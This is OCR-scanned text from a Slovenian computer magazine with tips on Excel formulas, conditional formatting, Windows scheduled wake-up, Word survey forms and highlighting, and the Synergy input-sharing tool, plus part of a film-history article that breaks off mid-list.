da seznam razvrstimo 7.4.2006 130000 ST | Koper
. £.4.2006| 3.400,00 SIT Murska Sobota
po mestih, nato pa 5.4.2006) 1.250,00 ST Ljubljana

setejemo  vrednosti
oziroma pogledamo
delno vsoto.

Gre pa tudi eno-
stavneje. Vzemimo,
da zbiramo sredstva
v Ljubljani, Mariboru, Celju, Murski Soboti
in Kopru. Zanima nas, koliko sredstev je bilo
zbranih v Celju. Postopek je naslednji:

1. Izberemo stolpec, ki vsebuje mesta zbiranja
donacij

2.V polje z imenom, ki je poleg vnosne
vrstice v levem zgornjem kotu preglednice,
vpiSemo namesto oznake prve celice
stolpca, v katerem smo, besedilo Mesto.

3. Izberemo stolpec, v kjer so donacije.

4.V polje z imenom na enak nacin vpiSemo
Donacija.

5.1zven nasega seznama v katero koli polje
vpiSemo formulo: =SUMIF(Mesto;”Celje”
;Donacija)

6. Pritisnemo Enter.

Kaj se je zgodilo? Formula SUMIF delu-
je tako, da seSteva le, ¢e je izpolnjen do-
lo¢en pogoj. Na prvem mestu v oklepaju je
obi¢ajno nek obseg celic. Ce se nasa tabela
ne bo spreminjala, bi lahko vnesli namesto
Mesto tudi obseg celice, na primer D2:D55,
&e imamo seznam mest v stolpcu D od vrsti-
ce 2 do 55. Ce bomo v seznam karkoli do-
dajali, pa ta nadin ne pride v postev, saj bi
morali potem spreminjati tudi obseg celic
in ga pove&ati za vsak nov vnos, in to tako
za seznam mest kot za seznam zneskov. Ce
damo stolpcu ime, pa to ni potrebno. Naga
formula torej pomeni, naj Excel pogleda v
seznam Mesto. Ce ta vsebuje vnos Celje,
potem naj seSteje vrednosti, ki so v polju

Sestevanje glede na kriterij je zelo uporabna funkcija, e zlasti ce

jo kombiniramo z imenom polj. Imena vpisemo tako, da oznacimo
zeleni stolpec in v polje z imenom (obkrozeno na sliki) vpiSemo ime
skupine celic, v tem primeru stolpca.

Postopek je uporaben v vrsti primerov. Pa si
oglejmo 3e enega. Vzemimo, da ste podjetje,
ki se ukvarja s telefonsko prodajo in imate 50
prodajalcev. V tabeli imate seznam prodajal-
cev v stolpcu A in koli¢ino prodanega blaga
po mesecih v stolpcih B, C in tako napre;.
Radi bi ugotovili, koliko blaga je prodalo 10
najboljsih prodajalcev meseca marca. Posto-
pek ugotavljanja je podoben, le formula bo
malce bolj zapletena, saj je treba vkljuditi Se
iskanje najboljsih desetih prodajalcev. Zanima
nas mesec marec, zato oznac¢imo stolpec, v ka-
terem je marcevska prodaja, in mu damo ime,
na primer ProdajaMarec. Postavimo se nekam
zunaj seznama v celico, kjer bi radi imeli vsoto
prodajnih rezultatov desetih najboljsih proda-
jalcev, in vanjo vpisemo formulo:

=SUM(LARGE(ProdajaMarec,{1,2,3,4,5,6,7
,8,9,10})) = -

Nato pritisnemo Ctrl+Shit+Enter in Ze do-
bimo ¥eleno vsoto.

Na podoben natin lahko izratunamo tudi
vsoto desetih najslabsih. Formula je enaka, le
ukaz LARGE moramo nadomestiti s SMALL.
Igramo pa se lahko $e naprej in namesto ukaza
za setevanje (SUM) uporabimo ukaz za pov-
pre¢je (AVERAGE) in izratunamo povpre¢no
prodajo desetih najboljsih ali najslabsih.

|

81



1Vall

pogojno oblikovanje v praksi
Nic vidno,
dokler ni vsega

Ljudje smo pac taksni, da radi vnaprej
postavljamo sodbe, tudi ¢e ne poznamo

vseh relevantnih podatkov. In tako je tudi v
poslovnem svetu. Vzemimo, da opravljamo
raziskavo, izsledke pa sproti vpisujemo v
Excelovo tabelo. Ce bi kdo to tabelo odprl in
vanjo pogledal, e preden so znani vsi podatki,
bi si lahko o vsem skupaj ustvaril napacno
sliko. Da se to ne bi zgodilo, lahko v Excelu
uporabimo pogojno oblikovanje, s katerim
bomo skrili kon¢ne rezultate, dokler vsa polja,
v katera vpisujemo sprotne izsledke, ne bodo
zapolnjena.

zemimo, da zbirate podatke ankete iz
Vpetih anketnih mest. Rezultate vpisuje-
te v polja E5 do E8, celica E9 pa vse-
buje sestevek rezultatov, ki so v celicah E4 do
E8. Dokler anketa ne bo kon¢ana, ne Zelite,
da bi bili podatki v celici E9 vidni. Kako to

narediti?

Tu je kuharski recept:

1. Vzemimo, da bo skupna vsota podatkov
anketnih mest vpisana v polje E9. To polje
oznadimo in izberemo barvo besedila belo.

S tem vsebina polja ne bo vidna.

2. Izberemo Oblika | Pogojno oblikovanje

3.V okencu Pogoj I pogojnega oblikovanja iz
seznama izberemo ‘Formula je’

4.V vnosno vrstico vpisemo formulo:
=COUNT(SE$4:$E$8)=>5

5. Izberemo Oblika.

6.Na jezitku Pisava v seznamu Barva izberemo
Samodejno.

7.Kliknemo V redu.

[Maribor : 2568 Manbor %68

|Celje | 5485 |Celje 5485
Koper | 3265 Koper | 35
Murska Sobota | 4852 |Murska Sobota 4852
Liubljana jubljana

Skupaj _ [Skupaj 1170

Levi seznam je oblikovan tako, da vsota,
dokler seznam ni poln, ni vidna, desni
seznam pa je narejen po »klasicni« poti
brez pogojnega oblikovanja.

Kaj smo naredili? Polje E9 smo oblikovali
tako, da bo bele barve, dokler pogoj =COUN-
T($E$4:3E$8)=5 ne bo izpolnjen. In kaksen je
ta pogoj! Gre le za preverjanje, ali je v obsegu
celic E4 do E8 pet stevil. Ce jih ni, bo barva
taksna, kot smo jo dolotili, torej bela, ¢e pa
je, pa bo barva ¢rna oziroma »samodejna«, kar
pomeni, da bo vidna.

trendi in Excel

Napovedovanje prihodnosti

V podijetju ste sledili prodaji izdelka v preteklih Sestih mesecih. Iz podatkov bi radi sklepali,
kaksna bo prodaja v naslednjih $estih mesecih. Trendi, seveda. Ce ste se kdaj ukvarjali z
ekonomijo, tehniko ali kakSno drugo vedo, ki je vsebovala tudi nekaj matematike, potem lahko
izraCunate tako imenovani trend. A kdo bo to racunal? Ali ne zna tega elektronska preglednica?

Seveda zna! Postopek je Cisto enostaven. Spet kuharski recept:

1. Najprej iz podatkov izdelamo pali¢ni grafikon prodaje.
2. Izberemo graf.

3.V meniju Grafikon izberemo Dodgj trendno &rto.

4.V zavihku Vrsta izberemo Linearni trend.

5. Izberemo zavihek MoZnosti.

6.V odseku Napovedovanje v okencu Naprej izberemo 6 obdobij.

7. Potrdimo z V redu.

. ) £ Microsaft Fxcel Zvezekl
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filtriranje podatkov

Samo enolicni

Ste nepremicninska agencija in prodajate nepremicnine po vsej Sloveniji. S svojega seznama
prodaje v elektronski preglednici bi radi izIuscili vsa mesta, kjer ste prodali hise in stanovanja.
Ker ste v ve¢ mestih prodali ve¢ his, bo stolpec, v katerem je seznam mest, vseboval
veckratne enake vnose, saj ste prodali ve¢ nepremicnin v enem mestu. Kako pridobiti seznam

vseh mest, brez da bi se ta podvajala?

bi¢ajen postopek je dokaj zapleten, saj moramo
O najprej prodajo razvrstiti po mestih, nato pa ugo-
toviti, katera mesta so to. Pri nekaj deset vnosih je
to ro¢no sicer mogoce narediti, &e pa jih je veg, pa je ro¢na
metoda neumnost. Mnogo laZje je, e uporabimo kar funk-
cijo filtriranja podatkov, ki jo vklju¢uje Excel. Vzemimo, da
imamo v stolpcu D seznam krajev, kjer smo prodali nepre-
mi¢nine. Filtriranje podatkov tako, da bomo dobili seznam
mest brez podvojenih vnosov, dobimo tako, da izberemo
stolpec D, nato pa izberemo Podatki / Filter /| Napredni filter.
PrikaZe se okno filtriranja. V njem najprej izberemo mo3-
nost Prekopiraj na drugo mesto. Ker je vhodni seznam Ze iz-
bran (vrstica Obseg sexnama), se postavimo v vrstico Kopiraj
na, nato pa preglednici kliknemo na mestu, na katerem bi
radi, da se za¢ne nov seznam enoli¢nih mest. Nato oznaci-
mo $e mo¥nost Samo enoli¢ni zapisi in pritisnemo V redu.
Na mestu, ki smo ga oznadili, se bo pojavil seznam, ki
bo vseboval le po en vnos za vsako mesto, kjer smo prodali
kak$no nepremi¢nino. W

Napredni filter E

Operacija
O Eiltriraj seznam na tem mestu
(® Prekopiraj na drugo mesto

$0$1:40410 (e
Obsegspogoic | [Gy
Kopirajna: gz (3

Obseg seznama:

[ Vredu ][ Prekidi ]

Napredno filtriranje: Obseg
seznama (D1:D10) je Excel razbral
sam, ¢eprav smo oznacili celoten
stolpec, polje H2, kjer se bo zacel
seznam enoli¢nih zapisov, pa smo
doloc¢ili sami.
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Posljite sms
in sodelujte v
nagradni igri, kjer
se potegujete za |,
zapeljivo mosko ¢
disavo Lotto
Man ter Lotto
nogometno Zogo.

Nagradna igra se zakljugi 30.06.

B Cena povratnega SMS sporodila je O SIT [0 €]

Vas edini cilj je zmagati
svetovno prvenstvo.
Izbirate lahko med
najbolj§imi trenerji in
igralci iz celega sveta.
S pomocjo treninga
igralcev in dobre
strategije, lahko
postanete pravi
mojster v vodenju
svoje ekipe.

sporoéila  po
Cena  polifonicne

melodije 300 SIT [1.25 €), originaine melod
450 SIT (1,88 €] ter java igre 800 SIT (3.34 el]
in izvaglec storitve e Hardlab doo,
storibve L)elonwje d( Ob pr4| upcr‘;bl
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jetega bDEH'Df.Ild
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nardovih nacrtih sestavite njegove naj
masine. Za pomoc lahko pogledate v na
enkratna za vse, ki radi napenjajo moz
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samodejen vklop

Dobro jutro,

racunalnik

Sistem Windows ima nacin izklopa racunalnika, pri katerem se ta

ne izkljuci, ampak gre le v »zimsko spanje«. Nacin se imenuje stanje
pripravljenost ali hibernacija, ¢e malce priredimo angleski originalni izraz.
Njegova prednost je v tem, da se stanje racunalnika shrani na disk, ob
ponovni vkljucitvi pa se vzpostavi stanje, kakréno je bilo pred ugasanjem,
vkljucno z vsemi odprtimi programi in datotekami.

PiSe: Zoran Banovi¢
zoran.banovic@mojmikro.si

oleg tega, da imamo ob
vkljugitvi isto stanje kot
prej, pa sistem z upora-
bo trika omogoca $e eno
koristno zadevo — programiran
vklop. Uporabnik lahko na pri-
mer sam nastavi, kdaj se bo racu-
nalnik »zbudil« iz spanja. To pa
pomeni, da bomo recimo zjutraj,
ko pridemo v sluzbo, na zaslonu

Carovnik za nacrtovanje opravil

Izbente dan in uro zacatka izvajania opravia.
Upa zadetha
7.00 =

To opravilo naj se izveds:
O ysak dan
@b

Owsw [ 7]

Datum zatetka
19.6.2006 v

vt ) i) [Pt

imeli isto stanje kot prej§nji dan
ob zaklju¢ku dela, ra¢unalnik pa
vendarle ne bo ves ¢as vkljucen.

In kako aktiviramo tak$no ¢asovno vkljuce-
vanje! Preko funkcije, imenovane Razporeje-
valnik opravil, ki jo najdemo v po menijski poti
Start [ Pripomocki [ Sistemska orodja. Namenjen
je avtomatizaciji zagona nekaterih opravil, kar
v vsakdanjem jeziku pomeni samodejno do-
lo¢anje zagona programa. Opravila dodajamo
dokaj preprosto, saj je na voljo &arovnik.

In tu je trik. Samodejen zagon opravila je mo-
got le, ¢e je racunalnik vkljucen. Ce racunal-
nik izklju¢imo z ukazom Zaustavitev sistema, je
vkljugitev mogoca le prek gumba na ohisju. Ce
pa ga zaustavimo tako, da izberemo Stanje pri-
pravljenosti, pa je vkljuitev mogoce tudi prek
tipkovnice ali pa s pomo&jo programa. In tu je
lastnost, ki jo bomo s pridom izkoristili. Siste-
mu bomo ukazali, naj recimo ob sedmih zjutraj
za¥ene program za branje elektronske poste. In
ker racunalnik takrat ne bo vkljucen, saj bo
»spal«, ga bo najprej vkljucil in zagnal omenje-
ni program. In prav to ¥elimo doset&i.

Za¥enemo torej carovnika za dodajanje
opravil. Po prvem pritisku gumba Naprej se bo
prikazal seznam programov, iz katerega izbere-
mo recimo program za delo z elektronsko pos-
to. Spet pritisnemo Naprej in odpre se novo
okno. V njem damo naSemu opravilu ime. Si-
stem obicajno predlaga kar ime programa, ki ga
zaganjamo, kar je &isto v redu, lahko pa opravi-
lu damo tudi drugo ime. Nato izberemo, naj se
opravilo izvede dnevno. Spet pritisnemo Na-
prej in prika%e se okno nastavitev, kjer vpise-
mo uro, kdaj naj se program zazene. Rekli smo,
da naj bo to sedem zjutraj, dolo¢imo pa lahko
tudi, da naj se to izvede le ob delavnikih.

Dolocanje ¢asa zagona programa, ki bo hkrati
tudi vkljucil racunalnik.

Ce imate ra¢unalnik zas¢iten z ges-
lom, morate v naslednjem oknu vpi-
sati administratorsko uporabnigko
ime in geslo. Nato sledi pomemben
korak — preden kliknete Dokonéaj,
je treba vkljuciti mo#nost, kjer nam
bo racunalnik dal na voljo dodatne
nastavitve. Po kliku na Dokoncaj se
bo odprlo novo okno, kjer v razdelku
Nastavitve dolo¢imo, naj se ra¢unal-
nik prebudi za izvedbo tega opravila.
In prav to je tisto, kar %elimo.

Microsolt Office Oullook 2003
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Nastavitev prebujanja
racunalnika za izvedbo
opravila.

Word in oznacevanje

Pomoc¢
rumene barve

Obicajno je tako, da je delo koncano 3ele takrat, ko
je napisana in urejena tudi vsa dokumentacija. Ta je
pac nekaj, kar mora biti. In ¢e Ze mora biti, potem
je prav, da je kar se da nazorna in za uporabnika
»neboleca«. Eden od nacinov, kako dokumentacijo
narediti preglednej3o, je naslednji.

podjetjih se dostikrat zgodi, da se spremeni
Vposlovni proces, spremenijo izdelki, nadgradi

programska ali strojna oprema in podobno.
Vse to seveda zahteva tudi ustrezno dokumentacijo,
ki pa se do prejsnje ne razlikuje kaj dosti, saj gre le
za nadgradnjo obstojecega sistema. Da bi uporabni-
ki kar najlazje zaceli u¢inkovito uporabljati novosti,
jim je te treba ¢im bolje in ¢im nazorneje prikazati.
Eden od naginov je tudi ta, da se spremembe v do-
kumentih oznagijo. Ce gre za dokument z besedilom,
napisanim recimo v Wordu, lahko uporabimo funk-
cijo Oznadevalnik, ki nam besedilo prekrije s kakino
pastelno barvo, kot bi to naredili s flomastrom. Ce
spremembe v dokumentu oznacimo, jih bo uporab-
nik laZe nagel in se hitreje seznanil z novostmi, hkra-
ti pa tudi vedel, kaj je ostalo po starem. Pri tem je
zelo zanimiva funkcija, ki jo ponuja Word, omogo&a
pa iskanje oznacenega besedila. Ce se uporabnik
»sprehodi« le po oznacenem besedilu, mu bo kaj hi-
tro jasno, kaksne so spremembe. Iskanje oznalenega
besedila poteka tako, da izberemo Urejanje [ Najdi ali
pritisnemo Ctrl+F. V oknu, ki se odpre, pritisnemo
gumb Ve¢ in pod gumbom Oblika izberemo Oznace-
no. Tako se lahko hitro premikamo med oznadenimi

deli besedila.

Obiéajno je tako, da je delo kondano $ale tal ko j@ napisana in urejena

- TARERREMERETNE o o moro b
patem je pr. 1 da nazomna in za uporabnika »neboleéaz_ Eden
od nadinov, kake doi .

v
izdelki, nadgradi prog
zahteva tudi ustrezns

dgradnye obate >
najlazje zadell udinkovits uporabljati novosti, ji

gim bolj nazorno prikazati, Eden od nadinov je tudi ta, da se spremembe v
dokumentih na nek natin oznaciic. Ce are za dokument 2 besedilom.
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V Wordu lahko i§éemo tudi oznaéeno besedilo.

moj

KES
w

JULI[AYSUST 2004

O

2 Loundry Blog Yiriize J\



izdelava ankete

Ankete z Wordom

Urejevalnik besedil Word je mogoce uporabiti
tudi za kaj ve< kot za urejanje besedil. Z njim
je mogoce na primer izdelati tudi ankete. In to
taksne, ki jih anketiranci elektronsko izpolnijo
tako, da izbirajo odgovore iz seznamov ali pa
oznacujejo trditve, s katerimi se strinjajo.

mo pa si lahko z orodno vrstico Obrazci. To

vklju¢imo tako, da na prostoru, kjer so orod-
ne vrstice, kliknemo z desno tipko in v seznamu
orodnih vrstic pois¢éemo Obrazci. Za odgovore
imamo tri moZnosti : odgovor je lahko polje, v
katerega anketiranci vpiSejo odgovor, lahko je iz-
birno polje, kjer izberejo odgovore, ki jim najbolj
ustrezajo, lahko pa gre za spustni seznam, iz kate-
rega anketiranci izberejo odgovor, ki jim ustreza.

Odpre se majhno okence, ki pa ponuja vse,
kar potrebujemo. Postopek poteka tako, da
najprej vpiSemo vprasanje in pritisnemo Enter,
da se prestavimo v naslednjo vrstico. Zdaj se
odlo¢imo, v kaksni obliki bodo anketiranci po-
dali svoj odgovor. Ce gre za polje, v katerega
bodo odgovor vpisali ro¢no, na orodni vrstici
obrazcev izberemo prvo moZnost, imenovano
Vnosno polje obrazca. Ce to polje dvakrat
kliknemo, lahko dolo¢imo nekatere dodatne
parametre tega polja. Lahko ga recimo omeji-
mo na moznost vpisa $tevilk, datuma in podo-
bno. Na&in je primeren takrat, ko bi radi od
anketirancev prebrali kak komentar ali opis.

Druga mo?nost, ki jo ponuja Word, se ime-
nuje Potrditveno polje obrazca. To ni ni¢ dru-
gega kot kvadratek, v katerega lahko anketira-
nec vstavi kri¥ec, &e se z odgovorom strinja. V
tem primeru mu moramo seveda ponuditi ved
odgovorov, na primer »Se povsem strinjam,
»Se strinjam«, »Se ne strinjam«, »Ne Zelim
odgovoriti« ali kaj podobnega. Metoda je pri-
merna takrat, ko nas zanimajo to¢no dolo¢eni
odgovori, ki jih je lahko tudi vec.

Tretja moznost, ki je nekoliko podobna dru-
gi, pa je tako imenovano spustno polje obraz-
ca, kjer bo uporabnik iz seznama izbral odgovor,
ki mu najbolj ustreza. Metoda pride prav v pri-
meru, ko hoemo na vpraSanje dobiti en sam
odgovor. Spustni seznam dobimo

I zdelava ankete je izredno enostavna, pomaga-

In kako izpolnjujemo anketo? Odpremo nov
dokument iz predloge, ki smo jo shranili, in vpi-
sujemo oziroma oznacujemo odgovore. Na kon-
cu datoteko shranimo in jo lahko v elektronski
obliki posljemo tistemu, ki nam jo je poslal.

Al rad i vodo?

yﬂaikm i |: e ".x A ] i

Al imag rad sladoled?
[ 8e povsem strinjam
[ e strinjam

7 [ se ne strinjam

5 [5] Ne zelim odgovoriti

. Al imad rad Eokolado?
- i

Z Wordom lahko izdelamo tudi ankete, ki
se izpolnjujejo elektronsko.

Pri anketah oziroma obrazcih vseh vrst pa je
na voljo $e ena mo#nost. Rezultate ankete lahko
namre¢ shranimo tako, da so v shranjeni datote-
ki vidni le odgovori na vprasanja, datoteka pa je
v besedilni (txt) obliki. Zadeva pride prav pred-
vsem pri odgovorih v obliki spustnih seznamov
in vnosnih polj, pri potrditvenih seznamih pa
nekoliko manj. Datoteka txt, ki nastane, vsebuje
namre¢ odgovore na tak nacin, da so posamezni
odgovori lo¢eni s podpi¢jem. Pri spustnem sez-
namu in vnosnem polju je to ustrezno, saj takoj
vemo, da je za podpi¢jem odgovor na naslednje
vpraanje, pri potrditvenih poljih pa ni tako, saj
se za oznaCeno polje vpiSe enica, za neoznaceno
pa nidla, ki so med seboj prav tako lo¢ene s pod-
pi¢jem, kar vnasa precej$njo zmedo.

In kako omogo&imo shranjevanje rezultatov
v obliki txt? Tako, da odpremo meni Orodja
| Mo#nosti in pois¢emo razdelek Shranjevanje.
Med mo?nostmi shranjevanja pois¢emo ukaz
Shrani le podatke obrazcev, in ga vklju€imo.
Ko bodo anketiranci ob koncu ankete doku-
ment shranili, se ne bo shranil v celoti, ampak
tako, kot smo Zeleli — rezultat bo le besedilna
datoteka z odgovori, lo¢enimi s podpi&jem. Bl

tako, da v orodni vrstici izberemo

tretjio moznost. Ob dvakratnem
kliku na to polje se odpre okno
lastnosti, v katero vpiSemo vse
mozne odgovore.

Ko kon¢amo z vsemi vpraganj,
pritisnemo skrajno desni gumb
na orodni vrstici obrazcev, s &i-
mer zaklenemo polja. Nato doku-
ment shranimo v obliki predloge

(DOT).
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Izdelava anket v Wordu je dokaj
enostavna, uporabimo pa lahko
vnosna polja, potrditvena polja

ali spustne sezname.

[EERNEY CART N

Al imaé rad sladoled?
Se poveem strinjam
[ Se strinjam

[ | Sene strinjam

Ne Zelim odgovoriti

Al ima# rad eokolado?

Synergy

Ena miska in ena
tipkovnica za vec
racunalnikov

Niso vec redke pisarne in domaca
delovna okolja, kjer za delo potrebujemo
vec raCunalnikov, iz razli¢nih razlogov

pa nemalokrat v vsakem tece drug
operacijski sistem. Mnozici tipkovnic, misk
in preklopnikov se elegantno izognemo z
uporabo aplikacije, ki slisi na ime Synergy.
CEITETTIE— 0]

Choase o share o d
then chick. Test ta check your setings o 51l to tave youl setbrgs and st Syreiay.

C e ste eden izmed tistih, ki pri svo-
jem delu ali zabavi uporablja ved
racunalnikov, ste morda naleteli
na pravo izbiro za vas. Programska regitev
po imenu Synergy nam namreé omogoca
uporabo ene tipkovnice in migke z razli¢-
nimi raé¢unalniki. To lahko dose?emo tudi
z nakupom ustreznega preklopnika, vendar
je opisana refitev brezpla¢na, hkrati pa
daje tudi nekaj moznosti, ki jih pri strojni
izvedbi nimamo. Synergy za skupno rabo
miske in tipkovnice med izbranimi racu-
nalniki uporablja kar omreZno povezavo.
Sprehod med zasloni posameznih raunal-
nikov opravljamo brez uporabe dolo¢enih
konfiguracij tipk. Miskin kazalec preprosto
popeljemo na drug zaslon, povsem enako,
kot &e z enim racunalnikom uporabljamo
dva monitorja. Seveda si lokacijo moni-
torjev prej ustrezno programsko in fizi¢no
nastavimo. Synergy omogoca tudi prenos
podatkov, shranjenih v odloZis¢u, med
povezanimi racunalniki, tako lahko brez te-
7av med razli¢nimi ra¢unalniki uporablja-
mo funkcij kopiraj/prilepi. Ena zanimivih
funkcij je tudi ¢asovna sinhronizacija ohra-
njevalnikov zaslonov. Tista najzanimivej$a
lastnost pa je moznost uporabe z razli¢nimi
operacijskimi sistemi. Tako ta odprtokod-
na aplikacija podpira sisteme Microsoft
Windows od razlicice 95 naprej, Mac OS X
10.2 in novejsi (trenutno z nekaj pomanj-
kljivostmi) in seveda sisteme Unix, kamor
spadajo tudi priljubljene Linux distribuci-
je. Pogoj za delovanje je poleg namestitve
programa Synergy le podpora omre?nemu
protokolu TCP/IP. Za vse drugo poskrbi ne-
zahteven grafi¢ni uporabniski vmesnik.
http://synergy2.sourceforge.net
(Uros Florjancic)




Sola videa

Kratka zgodovina razvoja filma

V dosedanjih ¢lankih smo se
srecali z osnovami videa, kamere,
nastavitvijo beline, filtri, napotki
za snemanije iz roke in s stojala.
Tokrat sem se odlocil podati krajsi
pregled razvoja filma in analognih
videosistemov.

PiSe: Matjaz Mrak
matjaz.mrak@mojmikrossi

A\ 4

e pred odkritjem filma so znanstveniki

v 18. stoletju odkrili nekatere napake

v &loveskem vidu. Med njimi tudi per-

sistenco ali vztrajnost Vvida, na kateri
temelji tehni¢ni razvoj filma. Clovesko oko
ima lastnost, da zamuja z zaznavo svetlobnega
signala in da si svetlobne dra?ljaje zapomni Se
nekaj ¢asa, ko teh ni vec.

PREDHODNIKI FILMA

To odkritje so na zacetku uporabljali pri iz-
delovanju igra&, ki ustvarjajo iluzijo gibanja.
Thaumatrop, mutaskop, zootrop so imena ne-
katerih, ki pa so jih v&asih uporabljali tudi v
»resne« namene.

Francoz Emile Reynaud se je s svojo napra-
vo praksinoskop Ze zelo priblizal filmu. Toda
osnovni tehni¢ni pogoji za nastanek filma so
izpolnjeni dele dvajset let pozneje, ko odkrijejo
kolodijske mokre plosce, ki omogocijo kratke
osvetlitve. Suhe Zelatinaste plos¢e pa povzro-
&ijo uporabo fotografije v znanstvene namene
pri raziskovanju gibanj z zaporedji fotografij
(kronofotografija). Ta pomeni tudi neposred-
no predhodnico filmu, ta pa zagne svojo pot
Sele po odkritju celuloida, ki zadovolji zahte-
ve po lastnostih, ki jih mora imeti fotografska
podlaga. Ta mora biti narejena iz materiala, ki
vzdrii velike napetosti, biti mora elastien, &im
tanj$i in dovolj dolg.

KO GLEDALCI BEZIJO
IZ DVORANE ...

Tako so do 1890 postavljene vse kompo-
nente bodo&e kinematografije. Thomas A.
Edison in sodelavec W. K. L. Dickson 1891
dolotita obliko in dimenzijo filmskega traku,
kar ostane standard za 35 mm film do danes.
Brata Lumiére skonstruirata napravo za sne-
manje, kopiranje in projekcijo filmov (1895).
S tem se za&ne obdobje »gibljivih slik«. Brata
Lumiére posnameta prihod vlaka na Zeleznisko
postajo v Parizu leta 1895 (zanimivost je, da so
ljudje med projekcijo zbe%ali iz dvorane, ker so
se bali, da bo vlak zapeljal s platna v dvorano)
ter odhod delavcev iz tovarne. Vendar brata
Lumiere film dojemata le kot znanstveno ig-
ratko in ne vidita njegove prihodnosti.
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PRVI »KREATIVCl«

S filmom se zaéne ukvarjati vse ve& ustvarjal-
cev in Georges Melies nastopi kot prvi kreativ-
ni filmski umetnik. Ceprav je kamera fiksirana
na enem mestu, pa v svojih filmih, sestavljenih
iz ve¢ povezanih kadrov, ¥e uporablja rez, za-
temnitev, odtemnitev, dvojno osvetlitev ...

V zadetku prej¥njega stoletja do%ivlja film naj-
hitrejsi razvoj v Ameriki. V filmih tega obdobja
%e uporabljajo rez kot izrazno sredstvo filma kakor
tudi vzporedno monta%o ter navpi¢ni in vodorav-
ni zasuk. David W. Griffith uvede v film bliZnje
plane, spreminja poloZaj kamere iz dramaturskih
razlogov, kr&i prostor in &as z odstranjevanjem ne-
potrebnih veznih kadrov ...

EKSPLOZIJA V EVROPI

Po 1. svetovni vojni se film seli v Evropo, kjer
dofivlja pravcato eksplozijo. V prvih povojnih le-
tih je v Rusiji vrsta ustvarjalcev (Vertov, Kulesev,
Eisenstein, DovZenko) raziskuje pomen montaZe.
V obdobju med 1919 in 1925 je razvoj filma zelo
hiter tudi v Nemdiji. Tamkajsnji ustvarjalci pa po-
udarjajo delo kamere — zelo gibljiva kamera, sub-
jektivna kamera ... Kot ustvarjalci se pojavljajo

Ernest Lubitsch, Fritz Lang in drugi. Vecina jih
zapusti Nemcijo in odide v Hollywood, nemski
film pa doZivi padec. V istem ¢asovnem obdobju v
Ameriki kraljujeta komedija in vestern.

HITER TEHNICNI RAZVO)
IN PRODOR ZVOKA

Film vseskozi do%ivlja tudi zelo hiter teh-
ni¢ni razvoj: umetna svetloba, razvoj kamer
in projektorjev, emulzij ... Ze od zagetkov ki-
nematografije pa so poskusali sliki dodati tudi
zvok. Brez vedjih uspehov do druge polovice
dvajsetih let, ko so tudi tehni¢ne izboljsave
omogolale dokaj kakovostno reprodukcijo.

Nadini snemanja in reprodukcije zvoka v
filmu so:

e mehani¢ni — najstare;jsi nacin
e opti¢ni (fotografski) — frekvenca zvoka,
zapisana s §tevilom svetlobnih sprememb

— amplitudni zapis
e sistem variabilne gostote — zapis frekvence,

glasnost, zapisana s kontrastom med

Crticami
e magnetni — omogodca veliko irse

frekven¢no podrodje kot opti¢ni

Po drugi svetovni vojni prevzame film vodil-
no vlogo med mediji in doZivi zelo velik teh-
ni¢ni napredek: barvni film, boljsa kakovost
slike, tehni¢ne izboljsave kamer, projektorjev,
stereo zvok, u¢inki ...

PRODOR TELEVIZIJE IN ZACETEK
OBDOBJA VIDEA

Z razvojem televizije in njej specifi¢ne teh-
nike pa lahko opazimo zaton filma in prebija-
nje v ospredje novega (ne samo tehnologko)
medija. Hiter razvoj elektronike povzroci spre-
membe v ustvarjanju in zapisu ter obdelavi
gibljivih slik. Nastopi obdobje videa.

Ceprav se %e konec Sestdesetih let pojavijo
ustvarjalci, ki poizkusajo elektroniko umetnisko
kreativno uporabljati (zelo znano ime je Nam June
Paik) in se vrstijo Stevilni poskusi v sedemdesetih,
prinesejo Sele osemdeseta leta prej$njega stoletja
pravi razmah in naka¥ejo prihodnost videa.

PREGLED RAZVOJA
ANALOGNEGA VIDEA

Na eni strani se je dogajal hiter razvoj video
tehnologije, ki je omogocala tudi veliko hitrej-
%o reakcijo na delo (takoj s terena v montaZo
in Ze v eter), z veliko cenej§im medijem, a tudi
zelo neprimernim za kakr$nokoli arhiviranje
(%e po par letih je signal zbledel — barve in zvok
so se izgubili), na drugi strani pa je bila ovira
$e vedno drag in dolg postopek razvijanja filma
ter prepisa na ustrezen format za predvajanje.

Trg je zahteval postopke (predvsem za pokri-
vanje dnevnih novic), ki so enostavni, poceni in
dovolj kakovostni za dnevno predvajanje. Tako
nekako se je zaCel razvoj videa in kaj kmalu so
ga vzeli za svojega zlasti filmski ustvarjalci (ker
je bil cenejsi in je rabil za u¢enje), likovniki (kot
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umetnisko zvrst — instalacije), ameriske feminist-
ke (medij, ki jim je omogocal Sirjenje idej) ...

2-paléni format

Video naprave, ki so uporabljale trak irine 2
palca (1 palec je 25,4 mm), so rabile le za profe-
sionalne namene v televizijskih studiih, kjer je
bila potrebna izredna kakovost magnetnega po-
snetka videosignala. Je pa bilo mogoce tak sig-
nal naprej obdelovati v monta¥nem postopku.

1-paléni format

Tako kot 2-pal¢ni format je tudi 1-paléni ra-
bil strogo v profesionalne namene v televizij-
skih studiih in raznih strokovnih ter reklamnih
ustanovah. Ta format se deli na dva podforma-
ta- 1"Bin 1”C.

Videorekorderji so konstruirani kot stacionar-
ni ali prenosni. Uporabljajo magnetni trak na
odprtih kolutih. Monta?ne sposobnosti video
naprav 1-pal¢nega formata so za takratno obdo-
bje (Sestdeseta prejinjega stoletja) zelo velike, saj
so omogotale elektronski rez z nadaljevanjem
(assemble) ali z vstavljanjem (insert) s takoj$njo
kontrolo posnete slike ter dve do tri avdio sledi.

0,75-paléni format (U-matic)

U-matic je videosistem (format), ki upo-
rablja magnetni trak $irine tri Cetrtine palca.
Leta 1969 ga je razvilo japonsko podjetje Sony
za profesionalne potrebe (ENG - Electronic
News Gathering — elektronsko zbiranje vesti),
Solanje, izdelavo reklamnih filmov ... Ime U-
matic je sistem dobil zato, ker magnetni trak
objame video boben v obliki &rke U.

Obstajata dve izvedbi sistema U-matic: stan-
dardni U-matic LB (lowband) in U-matic HB
(highband), predviden za profesionalno rabo.

0,5-paléni format
Med leti 1970 in 1979 je bilo razvitih kar
nekaj videosistemov razli¢nih proizvajalcev
znotraj 0,5-palénega formata, in to v kolutni
ali kasetni izvedbi. Naj naStejem le nekatere:
- VCR (Video Cassete Recorder),
Philips, 1970
- Cartrivision , CTI in AVCO, 1972
- Betamax, Sony, 1975
- VHS (Video Home System), JVC, 1976
- VCR - LVC (Longplay Video Cassette),
Philips in Loewe Opta, 1976
- SVR (Super Video Recording), Grundig
in ITT, 1978
- LVR (Linear Video Recording),
